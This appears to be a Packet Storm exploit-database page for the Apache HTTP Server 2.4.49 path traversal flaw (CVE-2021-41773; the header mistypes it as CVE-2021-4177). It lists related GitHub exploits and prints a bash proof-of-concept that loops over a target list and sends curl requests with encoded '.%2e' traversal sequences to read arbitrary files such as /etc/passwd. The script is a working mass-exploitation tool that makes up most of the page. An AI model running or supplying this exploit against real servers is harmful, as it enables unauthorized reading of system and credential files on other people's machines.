Apache HTTP Server 2.4.49 Path Traversal

🗓️ 06 Oct 2021 00:00:00Reported by Lucas SouzaType

packetstorm🔗 packetstormsecurity.com👁 898 Views

Apache HTTP Server 2.4.49 Path Traversal CVE-2021-4177

Reporter	Title	Published	Views	Family All 261
GithubExploit	Exploit for Path Traversal in Apache Http_Server	12 Mar 202221:24	–	githubexploit
GithubExploit	Exploit for Path Traversal in Apache Http_Server	7 Oct 202112:30	–	githubexploit
GithubExploit	Exploit for Path Traversal in Apache Http_Server	7 Oct 202100:14	–	githubexploit
GithubExploit	Exploit for Path Traversal in Apache Http_Server	17 Jun 202213:36	–	githubexploit
GithubExploit	Exploit for Path Traversal in Apache Http_Server	14 Mar 202204:08	–	githubexploit
GithubExploit	Exploit for Path Traversal in Apache Http_Server	31 Mar 202201:48	–	githubexploit
GithubExploit	Exploit for Path Traversal in Apache Http_Server	26 Oct 202117:56	–	githubexploit
GithubExploit	Exploit for Path Traversal in Apache Http_Server	4 Apr 202222:07	–	githubexploit
GithubExploit	Exploit for Path Traversal in Apache Http_Server	18 Mar 202617:59	–	githubexploit
GithubExploit	Exploit for Path Traversal in Apache Http_Server	31 Oct 202510:34	–	githubexploit

`# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal  
# Date: 10/05/2021  
# Exploit Author: Lucas Souza https://lsass.io  
# Vendor Homepage: https://apache.org/  
# Version: 2.4.49  
# Tested on: 2.4.49  
# CVE : CVE-2021-41773  
# Credits: Ash Daulton and the cPanel Security Team  
  
#!/bin/bash  
  
if [[ $1 =3D=3D '' ]]; [[ $2 =3D=3D '' ]]; then  
echo Set [TAGET-LIST.TXT] [PATH]  
echo ./PoC.sh targets.txt /etc/passwd  
exit  
fi  
for host in $(cat $1); do  
curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done  
`

06 Oct 2021 00:00Current

EPSS0.94391